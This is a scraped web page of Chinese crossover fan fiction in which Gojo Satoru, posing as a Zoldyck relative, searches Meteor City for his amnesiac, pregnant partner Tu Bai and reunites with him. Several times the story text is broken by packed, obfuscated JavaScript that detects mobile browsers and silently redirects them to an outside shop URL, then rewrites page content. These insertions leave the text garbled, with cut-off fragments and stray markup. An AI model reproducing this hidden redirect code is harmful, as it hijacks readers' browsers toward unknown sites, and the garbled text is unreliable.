;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210852|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一声,挥手让人冲上去。 然后就没有然后了。 三十多个人,躺了二十多个,剩下的跑了。那个男人身上连个伤口都没有,只是刀上沾了点血,被他随手甩掉。 从那以后,没人敢再惹他。 他给自己划了一块地盘,不大,但足够他住。他用那种凭空变东西的能力,变出了一个还算干净的小屋,变出了能喝的水,甚至变出了一张床和几件换洗的衣服。 有人想投靠他,他看了几眼,挑了两个人留下来,帮忙处理那些烦人的琐事。 其他人想靠近他的地盘,得先交“保护费”——不多,但足够让他不用每天出去翻垃圾。 手下的人问他怎么称呼。 他想了想,说:“大王。” “什么大王?” 他指了指自己头顶的兔耳朵:“兔子大王。” 于是,流星街三区,多了一个叫“兔子大王”的势力。 --- 深夜。 涂白坐在他构筑出来的“王座”上——其实就是一把相对舒服的椅子,铺了几层软垫。他手放在小腹上,轻轻地抚摸着。 那团温暖还在,很稳定。这几天他用妖力检查过很多次,它一直在长大,那是他的宝宝。他要保护好他。 窗外是流星街的夜景。说是夜景,其实没什么好看的,只有远处几堆垃圾在燃烧,火光一闪一闪的,照出浓烟的轮廓。 涂白盯着那些火光,发了会儿呆。 这几天,他偶尔会做一些奇怪的梦。 梦里有个白头发的人。很高,眼睛是冰蓝色的,非常好看。那人总在笑,笑得很讨厌,但又让人…… 让人什么? 他想不起来了。每次醒来,那些梦就像雾气一样散掉,只剩下一点模糊的感觉——温暖,安心,还有一点说不清的酸涩。 他摸了摸小腹。 “你认识那个人吗?”他轻声问。 没有回答。只有那团温暖轻轻动了一下,像是在回应。 涂白靠在椅背上,闭上眼睛。 不认识也没关系。反正他现在有宝宝了。只要宝宝在,其他都不重要。 但不知道为什么,每当这样想的时候,心里总会有一点空落落的。 像是少了什么很重要的东西。 窗外的火光还在闪。 涂白蜷缩在椅子里,手护着小腹,慢慢睡着了。 梦里,有个白头发的人站在很远的地方,笑着看他。 他想走近一点,却怎么都走不过去。 那人开口说了什么,他听不见。 但他知道,那个人的嘴唇在动,说的是: “小白。” 37.第37章 认亲 五条悟睁开眼睛的时候,发现自己趴在一片草地上。 脸朝下。 他撑起身体,坐起来,先摸了摸自己的脸。 疼倒是不疼了,但那一脚的感觉还在——小白那一脚踹得结结实实,正中面门。他摸了摸鼻梁,又摸了摸脸颊,确定五官还在原位。 然后他抬头,看向四周。 这里应该是一座山的半山腰,周围都是树木,郁郁葱葱的,山顶好像还有建筑。 五条悟站起来,拍了拍身上的草屑。他试着调动六眼,分析周围的环境。 然后他皱起眉。 能量体系不一样。和他熟悉的咒力完全不同。空气里流动着另一种力量——更原始,更个体化,像是每个人独有的某种东西。 但无下限术式还能用。他试了试,苍和赫都能正常发动,只是……感觉有点迟钝,像是手机在信号不好的地方。 他收回术式,低头看了看自己。 衣服还在,高专那套黑色的制服,只是沾了点泥和草叶。眼罩……没了。不知道掉在哪了。 他摸了摸口袋,手机也没了。大概是在穿越的时候丢了。 五条悟叹了口气,开始往山上走。 不管怎样,先找个地方搞清楚这是什么鬼地方,然后找小白。 他摸了摸脸颊——暗自心想:小白,踹得可真狠啊。 他嘴角弯了弯,又很快拉平。 得赶紧找到他。那个笨蛋,一个人怀着孩子,在这种陌生的地方,不知道会出什么事。 五条悟加快脚步,往山上走去。 没走多远,他就被人拦住了。 两个穿着黑色西装的男人从树丛里冒出来,动作很快,几乎没有声音。他们盯着五条悟,眼神警惕,手按在腰间的武器上。 “站住。”其中一个说,“这里是私人领地,不允许进入。” 五条悟停下脚步,打量着他们。 训练有素。身手不错。而且……身上有那种特殊能量的波动。 他笑了笑,举起双手:“抱歉抱歉,我不知道。我是……嗯,迷路了。” 那两个男人盯着他,目光在他脸上扫来扫去。突然,其中一个的眼神变了。 “你的头发……” 五条悟愣了一下,随即反应过来。 银发。这两个人盯着他的银发。 “还有眼睛……”另一个也开口了,声音有点抖,“蓝色的……” 他们对视一眼,表情变得很复杂——惊讶,疑惑,还有一点点……敬畏? “请稍等。”第一个人说,拿出一个对讲机一样的东西,走到一边低声说了几句。 五条悟站在原地,耳朵动了动。他听见那人说:“发现了疑似……银发蓝瞳……对,很像……请指示。” 他挑了挑眉。 银发蓝瞳?这里的人对银发蓝瞳很敏感? 过了一会儿,那人走回来,态度明显变了,客气了很多:“请跟我们来。家主想见您。” 五条悟想了想,点头:“好啊。” 反正他也要找人,有人接待总比自己乱闯好。 他跟着那两个男人往山上走。穿过树林,绕过几道山梁,眼前豁然开朗。 一扇巨大的门。 不对,是七扇门。巨大的铁门,一扇比一扇大,最外面那扇就有普通人家的门两倍高。门上刻着复杂的纹路,看起来很重。 那两个男人走到门边,推开旁边一扇小小的侧门。 “请从这边走。”其中一个说。 五条悟看了看那七扇巨大的门,又看了看那个小侧门,笑了。 “不走正门吗?”他问。 两个男人愣了一下,没反应过来。 五条悟走到那扇最大的门前,伸手推了推。 重是确实重,但也就是重而已。 他稍微用了点力。 第一扇门开了。 他继续推。第二扇,第三扇,第四扇—— 两个男人的眼睛越睁越大。 第五扇,第六扇—— 五条悟停下来,看了看最里面那扇门。第七扇。 他笑了笑,收回手。 “算了,今天就到这吧。”他说,转身走向那个小侧门,“走这边也行。” 两个男人站在原地,像是被钉住了一样。 过了好几秒,他们才追上来,看五条悟的眼神已经完全变了。 --- 揍敌客家主宅,会客厅。 席巴·揍敌客坐在主位上,打量着站在面前的这个人。 银发。蓝瞳。高大。年轻。而且……很强。 刚才门卫的报告已经传上来了。这人一个人推开了六扇试炼之门。六扇。能做到这个的,整个揍敌客家族不超过五个人。 而且他的脸…… 席巴的视线在那张脸上停留了几秒。银发,蓝眼,五官轮廓……确实有几分揍敌客家的影子。 旁边传来一声尖叫。 “啊——!” 基裘捂着嘴,眼睛瞪得大大的,死死盯着五条悟。她的声音尖锐得能刺破耳膜: “这眼睛!这头发!一定是……一定是父亲的私生子!” 五条悟嘴角抽了抽。 父亲的私生子? 他低头看了看自己,又看了看席巴。 席巴的头发也是银色的。眼睛是深色的,但那双眼睛的形状……好像确实有点像。 他突然明白了。 这些人,把他当成流落在外的家族血脉了。 五条悟眨了眨眼,然后露出一个灿烂的笑容。 “哎呀,被发现了。”他说,语气轻松得像是在聊天气,“其实我也是最近才知道自己的身世。这不,特意回来看看。” 基裘的尖叫更高了:“我就知道!我就知道!这气质,这长相,绝对是揍敌客家的种!” 席巴看了她一眼,她终于安静了一点。 席巴的目光重新落在五条悟身上,审视着。 “你说你是揍敌客家的血脉。”他说,声音低沉平稳,“有什么证据?” 五条悟摊手:“没有。我就是长这样,银发蓝眼。不然你们怎么会把我认出来?” 席巴沉默了几秒。 这话……好像没法反驳。 旁边传来一个苍老的声音: “有意思。” 一个光头老人从侧门走进来,脸上有一道十字伤疤,穿着日式和服。他走到席巴旁边,打量着五条悟。 桀诺·揍敌客。 五条悟感觉到这个老人身上的气息——很强。比席巴还强一点。是那种活了很多年、杀人如麻的强。 桀诺看着他,眯起眼睛。 “你推开六扇门。”他说,“用了全力吗?” 五条悟想了想,诚实地说:“没有。” 桀诺的眉毛挑了一下。 “第七扇也能推开?” “应该可以。” 桀诺盯着他看了几秒,然后笑了。 “有意思。”他又说了一遍,“不管是不是揍敌客的血脉,这份实力,就值得留他住几天。” 席巴点了点头。 “那就这样。”他说,看向五条悟,“你可以暂时留在揍敌客家。但别乱跑,也别惹事。” 五条悟笑眯眯地点头:“好的好的,谢谢收留。” 基裘又尖叫起来:“我要给他安排最好的房间!我要给他准备新衣服!我要——” “基裘。”席巴说。 她安静了。 五条悟站在原地,笑容满面。 心里想的却是另一件事。 这个家族,看起来很有势力。应该能帮他找到小白。 --- 当天晚上,五条悟住进了揍敌客家的客房。 房间很大,很干净,还有独立的浴室。他洗了个澡,换了身干净衣服——基裘让人送来的,说是“给新侄子的见面礼”。 五条悟站在窗前,看着外面黑漆漆的山林。 小白会在这个世界的什么地方? 他正想着,门被轻轻推开一条缝。 五条悟转头,看见一双蓝色的眼睛。 然后门被推开了,一个银发少年溜进来,好奇地打量着他。 十二三岁的样子,银白色的刺猬头,蓝色的眼睛,长相精致得像个娃娃。穿着宽松的居家服,手上有绷带。 奇犽·揍敌客。 五条悟看着他,他也看着五条悟。 两个人都是银发蓝眼,站在窗前,真像一对兄弟。 “你是谁?”奇犽问,歪着头,“他们说你是我叔叔的私生子?” 五条悟笑了:“他们这么说的?” “嗯。”奇犽走进来,在他面前站定,仰着头看他,“你真的推开六扇门?” “推了。” “哇……”奇犽的眼睛亮了一下,“好厉害。我才只能推开三扇。” 五条悟看着他,突然觉得这小孩挺有意思。 “你叫什么?” “奇犽,奇犽·揍敌客。” “我是五条悟。”他在床边坐下,拍了拍旁边,“坐?” 奇犽犹豫了一下,坐下了。 “你真的是我们家的人吗?”他问,眼睛亮亮的。 五条悟想了想:“不知道。可能吧。” “那你以前住在哪?” “很远的地方。” “你来这里干嘛?” 五条悟沉默了一秒,然后说:“找人。” “找谁?” “一个很重要的人。”他顿了顿,“黑头发,红眼睛,头上长着兔耳朵。你见过吗?” 奇犽摇摇头:“没见过。兔子耳朵的人?听起来好奇怪。” 五条悟笑了一下:“是很奇怪。但他是我的……嗯,很重要的人。” 奇犽盯着他看了几秒,突然问:“他是你老婆吗?” 五条悟愣了一下,然后笑出声。 “算是吧。” “那你怎么把他弄丢了?” “……”五条悟的笑容淡了一点,“说来话长。” 奇犽没再追问。他想了想,说:“那你要怎么找?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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下了山,又走了好一会儿,终于到了一个镇子。 奇犽好奇地四处张望。他很少下山,外面的世界对他来说新鲜得很。 五条悟先找了家店,取了些钱——昨天他厚着脸皮问席巴“借”了一千万戒尼,说是“安家费”,席巴居然真的给了。 然后他拉着奇犽,先去了甜品店。 蛋糕,布丁,冰淇淋,巧克力,马卡龙,泡芙……五条悟一样买了一点,装了一大袋。 “这些是你的。”他把袋子递给奇犽,“慢慢吃,别吃坏肚子。” 奇犽抱着袋子,眼睛亮得像星星。 然后他们去了手办店。 五条悟在店里转了一圈,挑了几个限量版的,又买了一个最新款的游戏机。 “够了吗?”他问奇犽。 奇犽点头:“够了够了!糜稽那个死胖子看到肯定高兴疯了。” 买完东西,两人找了个地方坐下,奇犽开始吃甜品,五条悟看着街上来往的人,想着他的小白。 “你很担心他吗?”奇犽一边吃布丁一边问。 “嗯。” “他很厉害吗?” “还行。”五条悟想了想,“打架的时候胆子小,但真打起来也挺凶的。” “那他怎么会被你弄丢?” 五条悟沉默了几秒,然后说:“我的错,是我没有给他足够的安全感,没有保护好他。” 奇犽歪着头,不太懂。 五条悟笑了笑,揉了揉他的银发:“等你长大就懂了。” --- 回到揍敌客家,五条悟让奇犽带路拎着手办和游戏机,去了糜稽的房间。 糜稽的房门关着,里面传来敲键盘的声音。 五条悟敲了敲门。 “谁?”糜稽的声音传出来,带着点不耐烦。 “我,你表哥。” 门开了一条缝,糜稽的眼睛从门缝里往外看。 五条悟举起手里的手办盒子。 门瞬间打开了。 糜稽盯着那个手办,眼睛都直了:“这……这是……” “限量版。”五条悟走进房间,把盒子放在他桌上,“还有这个。”他又拿出游戏机。 糜稽的手在抖,他摸着盒子,又摸摸游戏机,像是怕它们消失一样。 “你……你想要什么?”他咽了口口水,终于想起问这个。 五条悟在他旁边坐下,看着他: “帮我查个人。” 糜稽立刻点头:“查!查谁?” “黑头发,红眼睛。”五条悟说,“头上可能长着兔耳朵。最近才出现在这个世界,实力很强。” 糜稽皱起眉:“就这些?” “就这些。”五条悟想了想确定道。 糜稽盯着他看了几秒,然后转过身,肥大的手指在键盘上飞快敲击。 屏幕上闪过一串串代码和数据。 五条悟站在后面,看着那些飞快滚动的信息。 六眼在这里受限,但他的直觉告诉他,小白一定也在这个世界。 窗外,夜色渐深。 枯枯戮山的夜晚很安静,只有远处偶尔传来的野兽低吼。 糜稽盯着屏幕,敲着键盘。 五条悟站在窗前,看着外面黑漆漆的山林。 “小白。”他轻声说,“等我。” 38.第38章 线索 糜稽盯着屏幕,肥大的手指在键盘上敲了几下,然后停下来。 “找到了几个。”他说,声音里带着点得意,“流星街那边最近确实冒出来几个狠角色。但最符合你要求的……” 他顿了顿,点开一个文件。 屏幕上弹出一张模糊的照片。像素很低,像是很远的地方偷拍的。但能看出来是一个人——黑色的头发,红色的眼睛,头顶竖着两只长长的耳朵。 兔耳朵。 五条悟凑过去,盯着那张照片。 照片里的人站在一堆垃圾上面,手里握着一把黑色的刀,周围躺着几个人。光线很暗,看不清脸,但那个轮廓,那个站姿,那个…… “兔子大王。”糜稽说,“流星街三区新来的势力头子。据说一个月前突然出现,用一把能变出来的刀打趴了原来那伙人,自己圈了块地盘。底下人都叫他大王。” 五条悟盯着那张模糊的照片,眼睛一眨不眨。 黑发。红瞳。兔耳。能变出刀。 是小白。 绝对是小白。 “有更清楚的照片吗?”他问,声音有点紧。 糜稽摇头:“没。流星街那地方你也知道,没几个人敢进去拍照。这还是情报贩子冒着风险偷拍的。” 五条悟盯着那张照片又看了几秒,然后直起身。 “帮我查更多。”他说,“越详细越好。他在哪片区域,身边有什么人,每天做什么,都查。” 糜稽看了他一眼,又看了看桌上的手办和游戏机,点点头:“行。不过流星街的情报不好弄,得加钱。” “钱不是问题。”五条悟说,“多久能查到?” “最快也得三五天。”糜稽说,“那边太乱了,得找专门的情报贩子。” 五条悟点点头。他转身要走,又停下来,回头看着糜稽。 “还有,你认不认识更专业的人?”他问,“能直接进流星街找人的那种。” 糜稽愣了一下:“更专业的?” “嗯。”五条悟说,“能亲自去那种地方,把消息带回来的人。” 糜稽想了想,表情变得有点微妙。 “有倒是有……”他说,声音低下来,“我大哥,伊路米。他经常接流星街那边的活儿。” 五条悟眼睛一亮。 “他在哪?” “自己的房间吧。”糜稽说,“三楼东边那间。不过我劝你小心点,他那人……怪怪的。” 五条悟点点头,转身出了门。 --- 三楼东边,走廊尽头有一扇门。 门是深色的,和别的房间没什么不同。但门缝里透出来的气息,让五条悟稍微停了一下。 冷。空。像是什么都没有,又像是什么都在里面。 他敲了敲门。 没人应。 他又敲了一下。 还是没人应。 五条悟伸手,推开门。 房间里很暗,窗帘拉着,只有电脑屏幕的光在闪。一个黑色长发的男人坐在电脑前,背对着门,一动不动。 五条悟走进去。 那男人转过头来。 黑色的长直发,苍白的脸,眼睛很大,但空洞洞的,没有任何情绪。他穿着家居服,坐姿端正得像个假人。 伊路米·揍敌客。 “有事?”他问,声音很平,没有起伏。 五条悟在他旁边的椅子上坐下,翘起二郎腿。 “想雇你办件事。”他说。 伊路米看着他,空洞的眼睛里看不出任何反应。 “什么事?” “去一趟流星街。”五条悟说,“找一个叫‘兔子大王’的人。确认他的长相,他的状况,然后回来告诉我。” 伊路米沉默了几秒。 “为什么找我?” “糜稽说你最合适。”五条悟说,“而且你看起来就很擅长这种事。” 伊路米没说话。他只是盯着五条悟,那双空洞的眼睛像是要把人看穿。 五条悟任由他看着,脸上挂着笑。 过了好一会儿,伊路米开口了: “你很在意这个人。为什么?” 五条悟的笑容顿了一下。然后他恢复过来,语气轻松地说: “他是我弄丢的、非常重要的‘所有物’。” 伊路米盯着他,眨了眨眼。 “所有物?” “嗯。”五条悟说,“很重要的那种。” 伊路米沉默了几秒,然后点点头。 “定金一千万戒尼。”他说,“事成之后再付一千万。情报准确的话,再加五百万。” 五条悟从口袋里掏出一张卡,放在他面前的桌上。 “里面有一千五百万。”他说,“先付定金,剩下的回来结清。” 伊路米拿起那张卡,看了看,收进口袋。 “三天。”他说,“三天后,我给你消息。” 五条悟站起来,走到门口,回头看了他一眼。 “别伤到他。”他说,声音还是轻松的,但眼神有点冷,“他肚子里有孩子。” 伊路米的表情终于有了一点变化——眉毛微微动了一下。 “孩子?” “嗯。” 伊路米看着他,空洞的眼睛里闪过一丝什么。 “你的?” “我的。” 伊路米沉默了几秒,然后点点头。 “知道了。” 五条悟拉开门,走了出去。 回到自己房间的时候,他发现奇犽正坐在他床上,抱着一个空了的甜品盒子。 “你去哪了?”奇犽问,嘴角还沾着奶油。 “找你大哥聊了点事。”五条悟在他旁边坐下。 “伊路米?”奇犽皱起眉,“他好可怕的。你找他干嘛?” “让他帮我去找个人。”五条悟说,看着奇犽,“你呢?怎么又来了?” 奇犽把空盒子放下,看着他。 “我也想帮忙。”他说。 五条悟挑了下眉:“帮忙?” “嗯。”奇犽点头,“你不是要找人吗?我也可以帮你留意消息。我经常偷偷溜出去玩,有时候能听到一些外面的事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220266|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>五条悟看着他,笑了。 “那你要什么报酬?” 奇犽想了想:“更多甜品。还有……下次下山的时候带我多玩一会儿。” “成交。”五条悟伸出手。 奇犽握住,用力摇了摇。 “不过你得小心点。”五条悟说,“流星街那种地方,不是你该去的。” “我知道。”奇犽说,“我只是在外面打听。不会进去的。” 五条悟点点头,从旁边拿出一个新盒子,递给奇犽。 “这个给你。” 奇犽打开盒子,里面是一盒五颜六色的马卡龙。 “哇……”他的眼睛亮了,“谢谢!” “不客气。”五条悟揉了揉他的银发,“记得帮我留意消息。” 奇犽抱着盒子,用力点头。 --- 晚上,五条悟被基裘叫去吃饭。 说是“家宴”,其实就是基裘想多看看这个“新侄子”。餐桌上摆满了精致的菜肴,基裘坐在主位旁边,眼睛一直盯着五条悟。 “多吃点,多吃点。”她不停地给五条悟夹菜,“你太瘦了,在外面受苦了吧?” 五条悟笑着道谢,低头吃饭。 席巴坐在主位上,沉默地吃着,偶尔看一眼五条悟。 吃到一半,席巴开口了: “听说你找了伊路米?” 五条悟抬起头:“嗯。” “去流星街?” “嗯。” 席巴放下筷子,看着他。 “流星街不是普通地方。”他说,“伊路米能进去,但带出来的消息不一定准确。你要有心理准备。” 五条悟点点头:“我知道。” 席巴盯着他看了几秒,又说: “还有,不要给揍敌客惹麻烦。” 五条悟笑了,笑容灿烂得像是阳光: “当然。我只是个寻人的可怜丈夫而已。” 席巴看着他,没说话。 基裘在旁边尖叫起来:“寻人!丈夫!天哪太浪漫了!你是去找你妻子吗?” 五条悟想了想:“算是吧。” “她长什么样?叫什么名字?你们怎么分开的?”基裘一连串地问,眼睛亮得吓人。 五条悟笑容不变:“黑头发,红眼睛,长着兔耳朵。叫涂白。我们……嗯,出了点意外。” 基裘捂住嘴,眼眶都红了:“太感人了……为了寻找爱人,不远万里……你一定要找到她!” 五条悟点点头:“会的。” 席巴看了基裘一眼,没说话。 吃完饭,五条悟回到自己房间。 他站在窗前,看着外面的夜空。这个世界的星星很亮,和东京完全不一样。 小白也在看同一片星空吗? 窗外,夜色渐深。 远处的山林里传来野兽的低吼。 五条悟站了很久,才转身躺回床上。 闭上眼睛前,他脑子里又浮现出那张模糊的照片——黑发,红瞳,兔耳,握着刀。 是他的小白。 一定是。 39.第39章 :“王妃” 第三天傍晚,伊路米回来了。 他出现在五条悟房间门口的时候,空洞的大眼睛看着五条悟,脸上没有任何表情。 “查到了。”他说。 五条悟立刻站起来。 伊路米走进房间,从口袋里拿出一个巴掌大的东西——像是一颗小小的水晶球,半透明的。他把那东西放在桌上,按了一下。 水晶球亮起来,投射出一片光影。 影像很模糊,像是偷拍的,但能看清。 垃圾山。一堆一堆的垃圾中间,有一片被清理出来的空地。空地上立着一座……房子? 不,不能叫房子。那是一座堡垒。用金属和不知名的材料构筑出来的,形状不规则,但看起来很坚固。墙壁上流动着淡淡的银色光芒,和周围那些破破烂烂的铁皮棚子完全不是一个画风。 堡垒前面站着一群人。那群人中间,有一个人坐在一把椅子上。 那把椅子也很大,很高,像是某种王座。椅子上铺着几层软垫,坐着的人靠在椅背里,一条腿翘在另一条腿上,姿态懒散又嚣张。 黑色的卷发,红色的眼睛,头顶竖着两只长长的兔耳朵。 涂白。 五条悟盯着那个影像,眼睛一眨不眨。 影像里的人正在说什么,下巴抬得高高的。旁边有人凑过去,像是在汇报什么,他听着,偶尔点一下头,或者挥一下手。那股气势,活像个真正的王。 影像最后定格在他挥手的瞬间——嘴角扯着一点笑,红眼睛眯起来,一副“老子最大”的表情。 “流星街三区现任统治者。”伊路米的声音在旁边响起,“自称兔子大王。一个月前出现,打服了原住民,自己圈了地盘。底下有三十多号人,都叫他大王。” 他顿了顿,加了一句: “腹部微隆,疑似怀孕。” 五条悟盯着那个定格的影像,突然笑了。 “还是这么威风。”他说,声音里带着点他自己都没察觉的柔软。 伊路米看着他,空洞的眼睛里闪过一丝什么。 “尾款。”他说。 五条悟从口袋里掏出一张卡,递给他。 “里面有两千万。多的算谢礼。” 伊路米接过卡,收进口袋。他转身要走,到门口又停下来,回头看了五条悟一眼。 “那个人。”他说,“身上的气息很奇怪。不像是念能力者。” 五条悟点点头:“我知道。” 伊路米没再说什么,拉开门走了。 房间里安静下来。 五条悟站在桌边,看着那个定格的影像,看了很久。 然后他把那颗水晶球收进口袋,转身出了门。 --- 流星街。 这地方比五条悟想象的还要烂。 空气里全是腐臭味,地上堆满了垃圾,每走一步都能踩到什么软乎乎的东西。远处有几堆火在烧,冒出浓黑的烟,熏得人眼睛疼。 五条悟走在垃圾山中间,面无表情。 有几个不长眼的凑过来,想拦路。他看都没看,只是稍微放了一点气息出来。那几个人的脸色瞬间变了,转身就跑,跑得比兔子还快。 他继续往前走。 六眼在这里还是受限,但方向是明确的——伊路米给的情报很详细,三区的位置,堡垒的方位,甚至标注了路线。 走了大概一个小时,他看见了那座堡垒。 比影像里看着更大。银灰色的金属质感,表面流动着淡淡的妖力光芒,和周围那些破烂的棚子铁皮房形成鲜明对比。堡垒前面站着几个人,腰间别着刀,像是守卫。 五条悟径直走过去。 “站住!”守卫拦住他,“这里是兔子大王的地盘,外人不能——” 五条悟看了他们一眼。 守卫的话卡在喉咙里,没说完。他们看着这个银发蓝眼的男人,看着他脸上那种“别挡路”的表情,下意识往两边退了一步。 五条悟走进去。 堡垒里面更大。挑高的空间,四周有走廊,中间是一块空地。空地上铺着不知从哪弄来的旧地毯,虽然脏,但至少比外面的垃圾堆强。 最里面,有一把椅子。 很大,很高,铺着厚厚的软垫。椅子上坐着一个人。 黑色的卷发,红色的眼睛,头顶竖着两只长长的兔耳朵。穿着一件宽松的黑色衣服,靠在椅背里,一只手搭在扶手上,另一只手放在小腹上。 涂白。 五条悟停下脚步,看着他。 涂白也在看着他。 那双红眼睛里没有任何熟悉的情绪。只有警惕,还有一点点……好奇? 旁边的人冲上来,想拦住五条悟。涂白抬了抬下巴,那些人停住了。 涂白从上到下打量着五条悟,目光在他脸上转了一圈,在他银发上停了停,又落回他眼睛里。 “你是谁?”他问,声音懒洋洋的,“见到本王,为何不跪?” 五条悟看着他。 看着他护着小腹的手,陌生的眼神,以及高高抬起的下巴。 他明白了。 小白不记得他了。 他失忆了。 五条悟站在原地,脑子里飞快地转。 怎么办?直接告诉他?说“我是你老公,你肚子里怀的是我的孩子”? 失忆的人会信吗? 而且看小白这样子,在这个地方混得挺好的,兔子大王,威风凛凛。突然冒出来一个人说是他老公,他大概会直接让人把自己砍了。 五条悟的视线落在涂白小腹上。 那里微微隆起一点,衣服遮着,不明显。但他的手一直护在那里,动作很自然,像是本能。 他还记得要保护孩子。 五条悟心里某处软了一下。 他抬起头,看着涂白,突然笑了。 然后他单膝跪地。 动作很标准,姿势很优雅,表情很真诚——如果忽略他眼睛里那点狡黠的光。 “尊贵的兔子大王。”他说,声音低沉又好听,“我叫五条悟。我跋山涉水而来,是为了寻找我命中注定的伴侣。” 涂白愣了一下。 五条悟继续看着他,眼睛亮亮的: “看到您的第一眼,我就知道,是您。” 整个堡垒安静了几秒。 旁边那几个守卫面面相觑,不知道该怎么办。涂白坐在王座上,红眼睛盯着跪在下面的这个人,表情有点懵。 他的耳朵动了动。困惑地抖了抖,又竖起来。 这人……怎么回事? 莫名其妙跑进来,莫名其妙跪下,莫名其妙说什么命中注定的伴侣…… 涂白盯着那张脸。 银色的头发,蓝色的眼睛,五官好看得过分。脸上带着笑,但那笑又不让人讨厌,反而…… 反而什么? 涂白说不上来。他只是觉得,这个人身上有种奇怪的气息,让他想靠近,又有点警惕。 而且,那张脸…… 好像在哪见过? 他努力想,但脑子里一片空白。什么都想不起来。 “花言巧语。”他哼了一声,下巴抬得更高了。 五条悟还是跪在那里,笑容不变。 涂白又看了他一眼。那笑容……怎么看着有点欠揍? 但确实好看。 而且那双眼睛,蓝得像……像什么?他不知道。只是觉得,被那双眼睛看着,自己的心跳都不由得快了几分。 他清了清嗓子,坐直身体,努力摆出大王的架子。 “你说……本王是你命中注定的伴侣?”他问。 “是。”五条悟点头,一脸认真。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224728|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “凭什么?” “凭感觉。”五条悟说,“看到您,我的心就告诉我,就是这个人了。” 涂白的耳朵又抖了抖。 旁边一个守卫小声说:“大王,这人脑子好像有问题……” 涂白瞪了他一眼,守卫立刻闭嘴。 他又看向五条悟。 那人还跪着,姿态恭顺,但眼睛里的笑意藏都藏不住。那种笑,不像是害怕或者讨好,更像是……在逗人玩? 涂白突然有点不爽。 “你笑什么?”他问。 “我没笑。”五条悟说,但眼睛弯得更厉害了。 涂白盯着他看了几秒,突然开口: “你长得不错。” 五条悟眨眨眼:“谢谢大王夸奖。” “勉强配得上本王。”涂白继续说,下巴抬着,“从今天起,你就是本王的王妃了。” 旁边几个守卫倒吸一口冷气。 涂白不理他们,继续看着五条悟:“也是我孩子的父亲。” 他说着,手在小腹上拍了拍。 五条悟的笑容顿了一下。 他看着涂白拍小腹的动作,看着那双红眼睛里理所当然的神情,心里突然有点酸。 小白真的以为那是个孩子。 他真的在努力保护那个“孩子”。 “怎么?”涂白见他不说话,皱起眉,“不愿意?” 五条悟回过神来,笑容重新挂在脸上。 “愿意。”他说,语气诚恳得不得了,“这是我的荣幸,大王。” 他站起来,走到王座旁边,在涂白面前弯下腰,伸手握住他放在扶手上的那只手。 涂白愣了一下,想抽回来,但没抽动。 五条悟低下头,在他手背上轻轻印了一下。 温热的触感。 涂白的耳朵又抖了抖。 “以后就拜托大王照顾了。”五条悟抬起头,眼睛亮亮地看着他。 涂白盯着他看了几秒,然后哼了一声,把手抽回来。 “行了,退下吧。”他说,“会有人给你安排住处。” 五条悟点点头,退到一边。 涂白又看了他一眼,然后挥挥手,对旁边的人说:“散了散了,今天就这样。” 守卫们如释重负,赶紧退了出去。 堡垒里只剩下涂白和五条悟。 涂白站起来,走到五条悟面前,仰着头看他——这人真高,比他高了一截。 “你真的愿意?”他问,声音低了一点,“当我的王妃,当我孩子的父亲?” 五条悟低头看着他,看着那双红眼睛里藏着的、一点点不确定。 “真的。”他说,声音很轻。 涂白盯着他看了几秒,然后点点头。 “行。”他说,“那你别后悔。” 他转身,往堡垒深处走。走了几步,又停下来,回头看了一眼。 “你叫五条悟?” “是。” “五条悟。”涂白念了一遍,皱了皱眉,“好像在哪听过。” 五条悟站在原地,没说话。 涂白摇了摇头,继续往里走。 “明天见。”他说,然后头也不回走了。 五条悟看着他的背影消失在走廊尽头,嘴角慢慢弯起来。 明明都失忆了。 但还记得要保护孩子。 还记得他的名字“好像在哪听过”。 五条悟站在原地,手放在口袋里,摸着那颗水晶球。 慢慢来。 他会让小白想起来的。 就算想不起来,也没关系。 反正他会一直陪着他的。 窗外,流星街的夜空依然灰蒙蒙的,看不见星星。 但五条悟觉得,这是他到这个世界以来,最好的一天。